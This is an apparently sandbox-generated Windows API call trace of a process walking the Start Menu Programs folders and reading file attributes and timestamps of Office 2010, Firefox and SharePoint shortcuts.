ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Tools", cAlternateFileName="")) returned 1 [0092.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136dd28 [0092.191] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.191] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.191] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0092.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.191] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0092.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.192] NtClose (Handle=0x178) returned 0x0 [0092.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136dd28) returned 1 [0092.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136dd28 [0092.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136de30 [0092.193] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e90c0 [0092.194] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.194] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Digital Certificate for VBA Projects.lnk", cAlternateFileName="")) returned 1 [0092.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136df38 [0092.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136df38) returned 1 [0092.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f89b8 [0092.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1253730 [0092.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.197] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Clip Organizer.lnk", cAlternateFileName="")) returned 1 [0092.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f89d8 [0092.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x12538b8 [0092.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.199] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xabf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Language Preferences.lnk", cAlternateFileName="")) returned 1 [0092.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f89f8 [0092.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1253a40 [0092.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.201] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Upload Center.lnk", cAlternateFileName="")) returned 1 [0092.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8a18 [0092.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1253bc8 [0092.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.204] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office Picture Manager.lnk", cAlternateFileName="")) returned 1 [0092.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8a38 [0092.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1253d50 [0092.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.206] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="")) returned 1 [0092.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8a58 [0092.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1253ed8 [0092.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.208] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="")) returned 0 [0092.208] GetLastError () returned 0x12 [0092.208] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9200 [0092.208] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.208] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.208] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Digital Certificate for VBA Projects.lnk", cAlternateFileName="")) returned 1 [0092.208] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Clip Organizer.lnk", cAlternateFileName="")) returned 1 [0092.208] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xabf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Language Preferences.lnk", cAlternateFileName="")) returned 1 [0092.208] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Upload Center.lnk", cAlternateFileName="")) returned 1 [0092.208] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office Picture Manager.lnk", cAlternateFileName="")) returned 1 [0092.208] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="")) returned 1 [0092.208] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="")) returned 0 [0092.208] GetLastError () returned 0x12 [0092.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136de30) returned 1 [0092.209] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136dd28) returned 1 [0092.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneNote 2010.lnk", cAlternateFileName="")) returned 1 [0092.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook 2010.lnk", cAlternateFileName="")) returned 1 [0092.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft PowerPoint 2010.lnk", cAlternateFileName="")) returned 1 [0092.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project 2010.lnk", cAlternateFileName="")) returned 1 [0092.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Publisher 2010.lnk", cAlternateFileName="")) returned 1 [0092.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="")) returned 1 [0092.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8735be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x87381f60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xacf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visio 2010.lnk", cAlternateFileName="")) returned 1 [0092.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="")) returned 1 [0092.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="")) returned 0 [0092.210] GetLastError () returned 0x12 [0092.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.210] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="")) returned 1 [0092.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePoint", cAlternateFileName="")) returned 1 [0092.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.211] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\sharepoint"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.211] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\sharepoint"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0092.212] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.212] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.213] 